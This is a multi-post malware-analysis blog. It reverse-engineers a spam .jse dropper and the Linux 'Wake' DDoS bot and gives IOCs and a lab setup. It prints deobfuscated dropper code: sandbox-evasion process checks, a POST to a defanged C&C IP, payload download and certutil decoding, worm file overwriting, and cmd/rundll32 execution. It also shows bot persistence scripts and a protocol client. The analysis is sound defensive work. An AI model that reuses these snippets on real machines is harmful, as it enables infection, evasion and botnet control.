lundi 30 octobre 2017

sandbox evasion for a .jse malware

1/ source email

I was sitting in front of my PC playing SoulCalibur. An IRC window popped up, with one of my friend saying:

"Hey, you should check this strange email I've received. I don't know what's in it, I'm not a customer of this company".

The mail was a classical email with the text: "you got an invoice, please check and pay" (sort of). The
attachment was 1&1.pdf.facture.rar (facture means invoice in french).

I quickly tell him that it was highly suspicious, that he must trash this mail, and I dig into it.

2/ Analysis

2/1/ First analysis

The file seems to have some interesting anti-sandbox techniques. Sandboxes are equipment placed in front of email server, dedicated to malware analysis. Your mail is sent through those big boxes, email attachments are extracted, unzipped, then sent to a windows VM in order to analyze what this file will
do to the computer. Thoses boxes are mainly linux boxes, which is a point to keep in mind.

The 1&1.pdf.facture.rar file has some interesting characteristics:

mitsurugi@dojo:~/chall/infected/kukushka$ file 1\&1.pdf.facture.rar 
1&1.pdf.facture.rar: ACE archive data version 20, from Win/32, version 20 to extract, contains AV-String (unregistered), with recovery record, solid
mitsurugi@dojo:~/chall/infected/kukushka$ # So it's an "ace" file
mitsurugi@dojo:~/chall/infected/kukushka$ mv 1\&1.pdf.facture.rar suspicious.ace
mitsurugi@dojo:~/chall/infected/kukushka$ ls -l suspicious.ace 
-rw-r--r-- 1 mitsurugi mitsurugi 102481 oct.  23 15:58 suspicious.ace
mitsurugi@dojo:~/chall/infected/kukushka$ unace l suspicious.ace 
UNACE v1.2    public version

Processing archive: suspicious.ace

Authenticity Verification:
created on 10.10.2017 by *UNREGISTERED VERSION*

Date    |Time |Packed     |Size     |Ratio|File

                         0|        0| 100%| 0 files

mitsurugi@dojo:~/chall/infected/kukushka$ 

This file contains ... nothing (?) It's obviously a false positive. My best guess is that the spammer wants to confuse sandboxes. If you don't have any file to analyze, sandbox couldn't tell if the file is infected :)



But one question remains, why the name of the file ends in .rar and not .ace? The .ace extension is not widely used under windows. Renaming it .rar can extends the availibilty of the spam campaign,
and yes, winrar under windows extracts the file too.
This is a really nice anti-sandbox trick :)

As you can guess, there is indeed something:

mitsurugi@dojo:~/chall/infected/kukushka$ strings suspicious.ace | head -5
**ACE**
*UNREGISTERED VERSION*
1&1.pdf.facture.jse,
*M4D
?p}q
mitsurugi@dojo:~/chall/infected/kukushka$

You have to boot a windows machine, download winace (or winrar) and unzip the file. Warning, a misclick could infect your machine.

Once extracted, you can see that the file is a .jse (javascript encoded file):

mitsurugi@dojo:~/chall/infected/kukushka/take2$ hexdump -C suspicious.jse | head
00000000  23 40 7e 5e 52 43 49 47  41 41 3d 3d 56 21 33 3b  |#@~^RCIGAA==V!3;|
00000010  6b 74 30 6c 6b 09 59 4b  31 59 7b 24 7b 47 2b 7e  |kt0lk.YK1Y{${G+~|
00000020  71 54 4f 54 69 30 3b 33  21 2f 74 30 43 32 6c 31  |qTOTi0;3!/t0C2l1|
00000030  33 6d 6f 6e 2c 71 4f 7b  24 7b 2c 52 53 2a 5a 25  |3mon,qO{${,RS*Z%|
00000040  44 49 30 45 33 3b 64 34  33 43 68 4b 3b 5e 4e 30  |DI0E3;d43ChK;^N0|
00000050  44 27 5d 76 76 79 7e 57  71 54 70 7f 6e 44 7f 59  |D']vvy~WqTp.nD.Y|
00000060  78 6a 44 44 6b 09 4c 24  72 2d 36 2b 7f 77 36 46  |xjDDk.L$r-6+.w6F|
00000070  20 27 36 7f 73 77 61 2b  66 77 36 57 66 2d 58 76  | '6.swa+fw6Wf-Xv|
00000080  30 77 58 76 46 77 61 46  20 77 36 57 66 27 36 7f  |0wXvFwaF w6Wf'6.|
00000090  77 2d 58 76 63 27 36 2b  58 4a 59 69 57 45 09 6d  |w-Xvc'6+XJYiWE.m|
mitsurugi@dojo:~/chall/infected/kukushka/take2$

This file can be extracted to a plain .js file thanks to a decoder:
https://gist.github.com/bcse/1834878

We have a long file, 400kb long without any carriage return.

mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc suspicious.jse
     0   8881 402013 suspicious.jse
mitsurugi@dojo:~/chall/infected/kukushka/take2$

2/2/ desobfuscating js file

The file can be beautified with a site like jsbeautifier.org, and we can see that it's obfuscated:

kukushkainto9t = [776, 109];
kukushkapackage91t = [798, 508];
kukushkawould8t = [662, 41];
Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

function Pesen(a) {
    return a.length;
};
kukushkahelp13t = [885, 31];
kukushkabecome59t = [389, 210];
kukushkaonly52t = [570, 520];
kukushkaTeaching44t = [63, 64];
kukushkacome84t = [563, 237];
kukushkaknow23t = [83, 120];
kukushkaknowledge24t = [689, 726];
kukushkaacquired16t = [291, 172];
kukushkalifeNurturing10t = [695, 606];
kukushkateacher32t = [171, 621];
kukushkabooksDIRECTORDirectorate89t = [156, 498];
kukushkayes17t = [230, 612];
var kukushkaface35t = 0.708;
var kukushkasoft34 = this[(function hkai_7hk9() {
        kukushkaregards76t = 'Lake10';
        kukushkahave12t = 'about76';
        return Weret(64 ^ Pesen(arguments));
    })('holes94', 'that46', 'wife5', 'picking16', 'What99') + (..400kB long like this...)
It's time to deobfuscate. With 400kB, you can't do it by hand, you have
to automatize things. Find obfuscation patterns, remove them and iterate.

Main steps are:
a) renaming utf8 vars to ascii:
var\ u0073\ u0063\ u0072\ u0031\ u0070\ u0061\ u0074\ u0068 = kukushkavocabulary3to30[(function hkae_5hkaT4() {

This can be done automatically:
var scr1path = kukushakvaocabulary3to30 

b) calculating Weret, pesen and easy functions:

Weret is the function "fromCharCode"


Weret = String["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65"];

function Pesen(a) {
    return a.length;
};
(function hkai_7hk9() {
     kukushkaregards76t = 'Lake10';
     kukushkahave12t = 'about76';
     return Weret(64 ^ Pesen(arguments));
  })('holes94', 'that46', 'wife5', 'picking16', 'What99')

the first two vars are useless, the end is just length of arguments xored with a constant. In the end, this is fromCharCode(64 XOR 5) = 'E'

This structure comes really often, we can automatize it with regexp, extraction evaluation of js code and replacement.

c) Evaluating long vars
and we have a lot of var name and expression splitted in pieces:
var kukushkatoto42 = "E" + "r" + "r" + and so on..

This is not really hard to deobfuscate, just take times. It can be automatized.

d) repeat
We repeat all those simplifications with some python scripts.

e) simplification
Here is the stripped down version of the .js file

mitsurugi@dojo:~/chall/infected/kukushka/take2$ wc *js
   9947   49021  630068 simplified0.js
   9947   47780  621653 simplified1.js
   5584   26049  328812 simplified2.js
   3186   14345  185647 simplified3.js
   3081   13770  178223 simplified4.js
   3034   13566  176057 simplified5.js
   1331    6580   96156 simplified6.js
    457    3089   28791 simplified7.js
    457    2286   25936 simplified8.js
    435    2175   24069 simplified9.js
    322    1854   21089 simplified9-manual0.js
    286    1127   15156 simplified9-manual1.js
    307    1113   14922 simplified9-manual2.js
    280    1032   14040 simplified9-manual3.js
mitsurugi@dojo:~/chall/infected/kukushka/take2$

2/3/ cleaned up and disarmed

For reference, You can see in git a disarmed version of the js file. This js file doesn't do any harm. All risky things are commented out. There is also a zip file with every steps. (pass: infected, warning, this is malware)

3/ Program analysis

You can see the program as a big while(true) loop:

-Checks the location of .jse file
-While true loop
  Get process list, OS and username
  Check for some well known analysis tools (and exit if yes)
  Copy itself to startup folder
  -While true loop
    Connect to C&C
    Get file
    If WORM_MODE, then replace all file in removable drives byt iself
    Exec file downloaded previously

3/1/ startup

At start, the jse file checks if it was launched from the Start Menu\Programs\Startup\ folder and if it has the name adobe_upd.jse.

In any case, it throws a fake error message then continue (all comments are mine).

/* [+] JSEFILE is C:\Users\mitsurugi\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\adobe_upd.jse */
try {
    if (scr1path != JSEFILE) {
       objFile = FSObject["OpenTextFile"](scr1path, 1, false, 0);
       mybodyhere = objFile["ReadLine"]();
       objFile["Close"]();
       FILENAMEisBAD = true;
       if (SHOW_ERROR) ObjectWscriptShell["Popup"]("scr1path is not JSEFILE!!", 10, "Error", 16);
       if (FSObject["FileExists"](JSEFILE)) {
     /* In case user launch another time the file by double clicking on it?*/
           this.WScript["Quit"](1);
        }
    } else {}
} catch (WSdrFgyvb) {
    ObjectWscriptShell["Popup"]("A File Error has Occurred", 5, "Error", 16);
}

It makes the a huge iteration:

while (16) {             /* While True */
    gokolp0 = "low";     /* gokolp0 is never used elsewhere */
    Counter = Counter + 1;
    if (Counter == 2040000) {
      /* all malware code */
    }
}

Once again, it can be seen as an antidebug techniques. Some sandbox and antivirus checks the
file for a specific time. To avoid "Sleep()" function, they often hook the sleep's to
accelerate time. With a loop like this, there nothing you can hook to accelerate time.

3/2/ Get a lot of information from victim

The script uses wmi to grab all of information needed:

var obj00WMI = this.GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\cimv2");
var ProcessList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_Process"));
var Win32OSList = new this.Enumerator(obj00WMI["ExecQuery"]("Select * from Win32_OperatingSystem"));

It checks this list for exitingi (option9 == -1) (comments are my own):
 if (ProcessPathAndName["indexOf"]("Procmon") != option9 ||
     ProcessPathAndName["indexOf"]("Wireshark") != option9 ||
     ProcessPathAndName["indexOf"]("Temp\\iexplore.exe") != option9 ||
     ProcessPathAndName["indexOf"]("ProcessHacker") != option9 ||
     ProcessPathAndName["indexOf"]("vmtoolsd") != option9 ||
     ProcessPathAndName["indexOf"]("VBoxService") != option9 ||
     ProcessPathAndName["indexOf"]("python") != option9 ||
     ProcessPathAndName["indexOf"]("Proxifier.exe") != option9 ||
     ProcessPathAndName["indexOf"]("Johnson") != option9 ||
     ProcessPathAndName["indexOf"]("ImmunityDebugger.exe") != option9 ||
     ProcessPathAndName["indexOf"]("lordPE.exe") != option9 ||
     ProcessPathAndName["indexOf"]("ctfmon.exe*JOHN-PC") != option9 ||
     ProcessPathAndName["indexOf"]("BehaviorDumper") != option9 ||
     ProcessPathAndName["indexOf"]("antivirus.EXE") != option9 ||   /* ??? antivirus.EXE?? */
     ProcessPathAndName["indexOf"]("AgentSimulator.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VzService.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VBoxTray.exe") != option9 ||
     ProcessPathAndName["indexOf"]("VmRemoteGuest") != option9 ||
     ProcessPathAndName["indexOf"]("SystemIT|admin") != option9 ||
     ProcessPathAndName["indexOf"]("WIN7-TRAPS") != option9 ||
     ProcessPathAndName["indexOf"]("Emily\\AppData") != option9)  /*Who's Emily? */
     {
       reader["alert"]("Screw you guys, Im going home!!!!");
 /* "reader" (?) seems undefined */
       this.WScript["quit"](1);
     }

As you can guess, all of those process path and name are related to analyis environments

3/3/ Calling C&C

The C&C has the real address. It's obfuscated for the blogpost


url_ppp = "hxxps://185[.]159.82[.]50:9500/XA/mijagi.php?netuid=bugaga&add=2097d7b063d6f8b5cc803abf3df758aa";
url_ppp = url_ppp + "&u=" + Math["abs"](kukushkaships15) + "&o=" + kukushkatouches96 + "&v=" + icount + "&s=1994";
msxmlXMLHTTP["open"]("POST", url_ppp, false);
if (FILENAMEisBAD) {
  /* At first, Filename is bad because it is not in startup folder
  So we sent our name and list of processes */
  msxmlXMLHTTP["send"](ProcessPathAndName);
} else {
  /* This is the part when the jse is in the autostart folder */
  msxmlXMLHTTP["send"]();
}


  • The netuid and add parameter are hardcoded.
  • The kukushkaships15 depends of the length of the path of the jse file.
  • The o parameter depends of many things (0 at first, can be 9999, 45, 46, 47, or 9)
  • The v parameter is 10 or 20
  • The s parameter is Random


The interesting part is that it sends all of your data (Process list, OS version and name) to the C&C at the first loop iteration. Maybe the botmaster tracks stats of its emailing?

The feedback from the C&C is given through an HTTP-Header (!)

if (msxmlXMLHTTP["status"] == 200) {
if (kukushkatouches96 == 0) {
try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == '0') {
  file1path = JSEFILE;
  option9 = 0;   /* discriminate based on the response */
}
} catch (WSdrFgyvb) {}

try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("1")) {
  option9 = 1;   /* Guess it's the exe */
}
} catch (WSdrFgyvb) {}

try {
  if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
  option9 = 2;  /* Or the text to be passed to certutil */
}
} catch (WSdrFgyvb) {}

try {
if (msxmlXMLHTTP["getResponseHeader"]("Content-Transfer-Encoding") == "binary") {
  ADODBStream["Open"]();
  ADODBStream["Type"] = 1;
  ADODBStream["Write"](msxmlXMLHTTP["responseBody"]);
  ADODBStream["Position"] = 0;
  ADODBStream["SaveToFile"](file1path, 2);  /*file1path rnd name.exe */
  ADODBStream["Close"]();
} else {
if (CCresponseText.length > 10);
  objFile = FSObject["CreateTextFile"](TEMPFOLDER_file_mtm, true, false); /*mtm file */
  objFile["WriteLine"](CCresponseText);
  objFile["Close"]();
  this.WScript["Sleep"](5000);
  shellApp["ShellExecute"]("certutil", "-f -decode" + TEMPFOLDER_file.mtm + ("") + charq + file1path + charq, '', "open", 0);
}
}

We understand that server can send either a binary file (.exe) or a base64 one.

3/3/ Wormisation

This file has wormable capabilities. It search for any removable drives, and duplicate its .jse contents to any file ending in
var FileExtTargets ="*.doc*.xls*.pdf*.rtf*.txt*.pub*.odt*.ods*.odp*.odm*.odc*.odb*.wps*.xlk*.ppt*.mdb*.accdb*.pst*.dwg*.dxf*.dxg*.wpd";

The file content is wiped, replaced by the jse content, and file extension is replaced by .jse.

This is not really a stealthy way to propagate, but it can works.

3/4/ Code execution

Finally, the .jse tries to launches the exe file.
option9 is given by the server header.

switch (option9) {
case -1:
 shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123);
 kukushkatouches96 = 45;
 break;
case 0:
 shellApp["ShellExecute"]("cmd", "/c start " + file1path, '', "open", exit123);
 kukushkatouches96 = 46;
 break;
case 1:
 shellApp["ShellExecute"]("rundll32", charq + file1path + charq + " secretFunction", '', "open", exit123);
 kukushkatouches96 = 47;
 break;
case 2:
 shellApp["ShellExecute"]("taskkill", "/f /t /im chrome.exe", '', "open", 0);\
 shellApp["ShellExecute"](file1path, "/silent /install", '', "runas", 1);
 kukushkatouches96 = 48;
 break;
}

So, the downloaded file seems to be a plain exe, a dll and an installer which must kill Chrome
before installing (?)

3/5/ Fun stuff

As usual in worms/malware, you can find funny strings:
reader["alert"]("Screw you guys, Im going home!!!!");
It can be a reference to South Park

When server sends data, there is an header:
if (msxmlXMLHTTP["getResponseHeader"]("you_god_damn_right") == ("2")) {
and the wormable part uses a temp filename called "saymyname"

It seems we have a fan of breaking bad here.

The obfuscation makes an heavy use of kukushka to prefix variable names. kukushka means cuckoo in russian. Don't know what to conclude here.

4/ Get the files

I've used my disarmed file to get the files, but didn't succeeded. At the time of writing this blog, the server doesn't respond anymore, so the campaign is finished I guess.
As this file makes a lot of antidebug techniques, I don't think you can easily get the files. All parameters depends on something, you have strict timers. Maybe server part checks everything and sends only file to specific targets. I used my disarmed js file instead of making some wget for those reason.

In Virustotal, you have the first occurence of the file the 10 of October, the viral detection beguns the 13:
https://www.virustotal.com/#/file/e5fcb6e3ecbd08e18445d04edb84384eadff13cd01e91b737fcc2f0fb1b4d10d/detection  (suspicious.ace file)

https://www.virustotal.com/#/file/224ad333eb3b27056b968c453ad007aa5a4a613730da767937c7c2511bf2b84f/detection  (suspicious jse file)

https://www.virustotal.com/#/ip-address/185.159.82.50
This one is interesting because someone tries to analyze https://185[.]159.82[.]50:9500/DA/mijagi.php?netuid=bugaga which is only a part of the requests made to the C&C. May be someone deobfuscating the .jse and who doesn't saw that there is more in parameteres

5/ IOCs

It seems pretty useless to block the IP.
Strangely, the header name you_god_damn_right seems more reliable. You can find other occurence of it in the googleweb:

https://community.spiceworks.com/topic/1954953-file-ext-changed-to-jse  (go to the end of the post)
Date: Sep 2 2017

https://www.hybrid-analysis.com/sample/9157e7ed6aa77da3575cbbc32e3c2c5fd7074e9ffe326b96b0cbefa897f8c581?environmentId=100
Date: August 2017

http://ddecode.com/hexdecoder/?results=bed2e8df3925d8712bb1d2ba55cb9063
(no date)

https://securite.intrinsec.com/2017/05/16/exercice-de-desobfuscation-dun-jse-par-le-cert-intrinsec/ (in french) in may 2107.

So, if you have an appliance in your network making SSL analysis, you could check if some HTTP servers sends an header 'you_god_damn_right' and block it. It can helps you without any risk of false positive.

mardi 19 septembre 2017

"Wake" malware has been updated.

This blogpost is a follow-up of the previous blog post: http://0x90909090.blogspot.com/2017/08/meet-wake-malware-ddos-and-more.html

1/ A wild new sample appears

I managed to find another sample on https://malwr.com website:

mitsurugi@dojo:~/infected$ ls -l lluxx; md5sum lluxx ; sha1sum lluxx
-rw-r--r-- 1 mitsurugi mitsurugi 917143 août  24 09:58 lluxx
4423955345910ab8fb415b9e7fb0285e  lluxx
849ebfb5281b4c407e54f5d1ad152bb288d81eb4  lluxx
mitsurugi@dojo:~/infected$ file lluxx
lluxx: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.15, BuildID[sha1]=3d8cc691cce4db2327212838d2e797d6c25f8776, not stripped
mitsurugi@dojo:~/infected$

This one, it's an x86 executable file.

1/1/ Passive reco

A quick look at this binary confirmed that this is the same family as the previous one. If we look at the strings and function in the binary, we find a lot of similarities:

mitsurugi@dojo:~/infected$ strings -10 lluxx
/proc/cpuinfo
%*[^:]: %d
/proc/stat
%s  %u %u %u %u
/proc/net/dev
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
/proc/net/tcp
%*s %s %*s %x %*s %*s %*s %*d %*d %d
/proc/%s/fd
/proc/%s/fd/%s
ulimit -n 3000
/proc/self/exe
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
/usr/bin/wake
/etc/init.d/wake
### BEGIN INIT INFO
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
mitsurugi@dojo:~/infected$ strings -10 lluxx
/proc/cpuinfo
%*[^:]: %d
/proc/stat
%s  %u %u %u %u
/proc/net/dev
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
/proc/net/tcp
%*s %s %*s %x %*s %*s %*s %*d %*d %d
/proc/%s/fd
/proc/%s/fd/%s
ulimit -n 3000
/proc/self/exe
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
/usr/bin/wake
/etc/init.d/wake
### BEGIN INIT INFO
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
case "$1" in
    nohup /usr/bin/wake -c 1 &
update-rc.d wake defaults 99
chkconfig --add wake
chkconfig wake on
nohup /usr/bin/wake -c 1 &
/dev/watchdog
/dev/misc/watchdog
/usr/bin/shell
nohup /usr/bin/shell -c 1 &
%d.%d.%d.%d
GET %s HTTP/1.1
(...)
mitsurugi@dojo:~/infected$ nm -P Arm1 | awk '$2 == "T" && $1 !~ /^_/ {print "b " $1}'
(...)
b attack_http_get_flood
b attack_http_get_slow
b attack_http_get_spider
b attack_http_post_flood
b attack_http_post_slow
b attack_tcp_con
b attack_tcp_slow
b attack_tcp_std
b attack_tcp_syn
b attack_udp_root
b attack_udp_std
(...)
b Calcpuuser
b checksum_ip
b checksum_tcpudp
(...)
b Getcpuinfo
b getOutRates
b Getsysinfo
(...)
b initwake
b jiemihttp
b Jointhread
b kill_process_by_inode
b kill_process_by_port
(...)
b matow
(...)
b RecvDosMsg
b recvexit
b Resolv
b SendCpuMsg
(...)
b WebToData
b WebtoDns
(...)
mitsurugi@dojo:~/infected$ strings Arm1 | grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b"
127.0.0.1
8.8.8.8
mitsurugi@dojo:~/infected$

We recognise the 39999 TCP port, jiemihttp function, matow function, attack_* and so on. We have some things new:

  • 8.8.8.8 address
  • Resolv function
  • WebToData and WebtoDns functions
  • New attacks

We want to learn if the network protocol used by the server has changed, and if we can continue to implement it in an innocuous client.

1/2/ Network setup for the analysis machine.

For the dynamic analysis, I setup a VM like the ARM machine. Network setup need a little change.

My static analysis reveals that the binary implements its own resolver for DNS and not rely anymore on the host configuration. This explains the IP address 8.8.8.8 that we see in the binary, and the "Resolv" function.

The sandbox must have a gateway to 8.8.8.8, and we need to redirect the flow to a resolver which give the IP we want. We have this setup:

+--------+                +--------+
|        |                |        |
|Sandbox +----------------+  Host  |---FAKE INTERNET
|        |                |        |
+--------+                +--------+
    172.16.42.2      172.16.42.42

We hav to grab all DNS traffic to 8.8.8.8, and setup a lying resolver. I choose dnsmasq because it can work standalone, without config file, and can answer whatever I want. Launch it on the cmd line, and it'll resolve:

# sudo iptables -t nat -A PREROUTING -i tap0 -p udp --dport 53 \
                     -j DNAT --to 172.16.42.42:53
# sudo dnsmasq -h -H hosts -d -q -i tap0 -2 -R -r /dev/null -C /dev/null \
                     -a 172.16.42.42 -A /com/172.16.42.42,/cn/172.16.42.42

Quick explanation for dnsmasq:

dnsmasq -h        #don't read /etc/hosts
        -H hosts  #use this hosts file
        -d        #don't daemon
        -q        #log queries
        -i tap0   #listen on tun0
        -2        #only DNS, no DHCP/TFTP
        -R        #No resolv.conf
        -r /dev/null #No resolv.conf, yes, you must tell twice
        -A /com/172.16.42.42,/cn/172.16.42.42
        -a 172.16.42.42  #listen address
        -C /dev/null  #Conf file

-A is here for a catchall. Any domains ending in .com or .cn will get 172.16.42.42 as its IP.

The iptables rules will redirect any DNS traffic to my dnsmasq. With this simple setup, the malware will connect to *my* C&C server, whatever the real C&C domain is.

1/3/ jiemi means get the C&C

The C&C IP address is the one that resolves:

gdb$ x/s 0x080ed040
0x80ed040 <IPA>:        "app.yzyrh.com"

1/4/ Unleash Hell

With this setup, we can see the malware connecting to my C&C server on 172.16.42.42
The DNS resolution calls the Resolv() function which use WebToDns and WebToData function. The setup explained in the previous paragraph allows us to hijack this DNS connection, so the malware doesn't reach internet in any way.

The first observation is that the malware send a REGISTER message and doesn't send anymore the statistics each 5 seconds.

2/ Analysis

2/1/ Register command

As seen in the previous version, the bot begins to save the result of ` uname -a` , the IP address and if the binary have root rights. The IP detection doesn't rely anymore with the name of the interface, but on the sa_family of the interface, which is better. The REGISTER message also contain the CPU MHz of the machine by checking the 7th line of /proc/cpuinfo (not always accurate, though).

Fun fact: the IP address goes through a complicated set of if/else case in order to detect if it begin with:

  • 10.0
  • 192.16
  • 172.[123]
  • 127.

And if yes, the address is not copied in the register message. Nice way to avoid IP private range (detection could be more accurate, but hey, this is malware)

But there is a second loop that copy the IP address if it's different from 127.0.0.1 (?!), so IP address is copied anyway, even if it's in private range!

2/2/ Botnet related commands

We find like the first time the usual command, 103 for launching attacks, 104 for an immediate stop, 105 for exec local commands. There is no more updating facility, and strangely, no output from the command launched. The binary exec it, and drop the output.

There is a new command, 106 which trigger the stats thread from the malware. It's a basic switch. Sends 106, receive statistics. Send another time 106, stop statistics.
The bytes are BE, so a "trigger statistics on/off" can be written as:

Packet format :
    (...)
    elif cmd == '106':
        client.send('\x06\x00\x01\x00'+'\x00'*16)

This was made to reduce bandwidth sent to the C&C because if you begin to manage a huge list of bots, you can DOS yourself with statistics sent every 5s for each bots ^^

2/3/ DDOS related commands

We have a lot of new DDOS commands, you can se the big switch/case here:


We have now 11 attack types, two of them depends if we have root rights or not.

Another fun fact here. I think that the programmer mistakenly copy paste its code (click to enlarge):

There is almost the same two code bloacks left, and right. The case depends if binary has root rights or not.
You can see at bottom left 'attack_udp_root', and 'attack_udp_std' if you're not root. Then, at bottom right you see 'attack_tcp_root' and ... 'attack_udp_std' ??? I think the programmer wanted to launch a std tcp attack.
Moreover, there isn't any Xref to the attack_tcp_std function:


But everything has been reversed, and here is the python code used to decode the DDOS commands:


def prettyprint(s):
    atk=['attack_tcp_con','attack_tcp_slow','attack_tcp_syn/attack_udp_std',\
         'attack_udp_root/attack_udp_std','attack_http_get_flood',\
         'attack_http_get_slow','attack_http_get_spider','attack_http_post_flood',\
         'attack_http_post_slow']
    (attack,t1,t2,atk_type,dport,a,timer,delay,threads,size,f,g,h,i) = \
                       struct.unpack('<I268x128s256sIIIIIIIIIII',s[:700])
    if t2[0]=="\x00":
        t2="NONE"
    if atk_type < 9:
        print "[+] Attack type(%d): %s with %d thread(s)" % (atk_type,atk[atk_type], threads)
    else:
        print "[+] Attack type(%d): Unkown attack, new bot version? %d Thread(s)" % (atk_type,threads)
    print "    Targets: %s, %s; dport %d, duration %ds , delay %dms, size %d" % \
        (t1,t2,dport,timer,delay,size)
    #other parameter not used/not important
    print "    Other params: a: %d, f: %d, g: %d, h: %d, i: %d" % (a,f,g,h,i)


2/4/ Conclusion

We can see that the coder continue to update its bot. I wrote a python client compatible for both version in my github: https://github.com/0xmitsurugi/afterburner

I found two C&C, the first one has been shut down really fast after the finding.

The second one, also dead at the time of writing, has been monitored for approximatively two weeks. Nothing really interesting :( just some really slow attacks, kind of 2 HTTP GET by seconds on a server for two minutes. Commands were repeated each 120s to restart the "attack" I think.

There were two website targeted, chinese gaming site. I tried to se if they suffered from the attack, but no. They were always up & running with very good response time. I'm even wondering if this bot is not made to simulate traffic on website (why? and what for? No idea), because it doesn't look like a denial of service to me.

3/ Is "wake" the elknot lost son?

I've read some docs online, and found this one here https://www.botconf.eu/wp-content/uploads/2014/12/2014-2.10-Chinese-Chicken-Multiplatform-DDoS-Botnets.pdf


3/1/ Weak algorithm

We can see that elknot uses a weak obfuscation algorithm (+1,-1,+1,-1 and so on) while the wake malware uses (-1,+1,+2,-1,+1,+2,-1, and so on). These algorithms are used to hide the C&C address.

3/2/ Protocol grammar

The protocol used by elknot to communicate is binary, with command starting at 0x00. We see that's almost the same as wake: 0x00010001 0x00010002 and so on..

3/3/ others similarities?

Is there any Resolv() function in Elknot? Is there another similarities? I don't know, it's maybe just a coincidence.

4/ Heading to the future

I have a fully functional client for the malware, and I'm ready to listen to botmasters orders.
You can check the source code on my github: https://github.com/0xmitsurugi/afterburner/tree/master/WakeUp

I had a very quick communication with a C&C (down at the time present) which sends me a DDOS command number 17, which I don't have. I continue to search for new samples. If you get one, send it to me, I would be pleased to analyze it :)

lundi 21 août 2017

Meet the "Wake" malware: DDOS and more!


My latest blogpost was detailing how to setup a qemu ARM system to do malware analysis, it's now time to use it for analyze an unknown binary. I went to https://reverse.it website, and found the 'wake' binary, which looks promising:

0/ In case of TL;DR

Risk assessment:
  • This binary can be used to launch DDos and execute command
  • The binary protocol for communicating with C&C has been reversed, a client is provided
  • This binary has a good OPSEC: 
    • we can't recover its C&C from the binary itself
    • it looks like a ddos tool, but can upgrade itself and execute commands 
  • This binary works as root and non-root user
    • Note that some part doesn't work as non root user
  • All this binary have been dissassed and analyzed
    • It's probably built on differents sources codes
Threat Intel:
  • IOC are given in the end of the document

1/ Passive reco


mitsurugi@dojo:~/infected$ ls -l Arm1 ; md5sum Arm1 ; sha256sum Arm1 
-rw-r--r-- 1 mitsurugi mitsurugi 676071 Aug 17 11:48 Arm1
8a3ca4a67e6d8af6834b96e4ac1457b6  Arm1
33c5374b0a1802a19d7787a65096cb049635c2e965b66d902456ca7e9c5d35b5  Arm1
mitsurugi@dojo:~/infected$ file Arm1 
Arm1: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.14, not stripped
mitsurugi@dojo:~/infected$ readelf -h Arm1 
ELF Header:
  Magic:   7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF32
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           ARM
  Version:                           0x1
  Entry point address:               0x8130
  Start of program headers:          52 (bytes into file)
  Start of section headers:          570328 (bytes into file)
  Flags:                             0x5000002, Version5 EABI, <unknown>
  Size of this header:               52 (bytes)
  Size of program headers:           32 (bytes)
  Number of program headers:         6
  Size of section headers:           40 (bytes)
  Number of section headers:         30
  Section header string table index: 27
mitsurugi@dojo:~/infected$

2/ Quick analysis

We saw that binary is not stripped, so we can read all of the function names,
and begin to find things with strings utility.

2/1/ Function names:

nm can list symbols from object files:

mitsurugi@dojo:~/infected$ nm -P Arm1 | awk '$2 == "T" && $1 !~ /^_/ {print "b " $1}'
b Calcpuuser
b ConnectServer
b DelayClose
b GetIp
b Getcpuinfo
b Getsysinfo
b Jointhread
b MySleep
b RecvDosMsg
b SendCpuMsg
(...)
b attack_tcp_con
b attack_tcp_http
b attack_tcp_std
b attack_tcp_syn
b attack_udp_root
b attack_udp_std
(...)
b initwake
b jiemihttp
(...)
b matow
(...)
b system
(...)
mitsurugi@dojo:~/infected$

This is really interesting. Those function name tend to see this binary as a DDos tool.
The first guess is that binary will do a ConnectServer to its C&C, then wait for RecvDosMsg
and do the attack_* based on the DosMsg.

It took some time for me to figure that 'jiemi' means 'Revealing' or 'secret' in chinese, so the jiemihttp
function could look interesting.


2/2/ strings the binary



mitsurugi@dojo:~/infected$ strings -10 Arm1
/proc/cpuinfo
%*[^:]: %d
/proc/stat
%s  %u %u %u %u
/proc/net/dev
eth0:%Lu %*d %*d %*d %*d %*d %*d %*d %Lu
/proc/self/exe
 while true;do
  server=`netstat -nlp | grep :39999`
  if [ ${#server} -eq 0 ] ; then
     nohup %s -c 1 &
/usr/bin/wake
/etc/init.d/wake
### BEGIN INIT INFO
# Provides:          wake
# Required-Start:    $remote_fs
# Required-Stop:     $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start or stop the HTTP Proxy.
### END INIT INFO
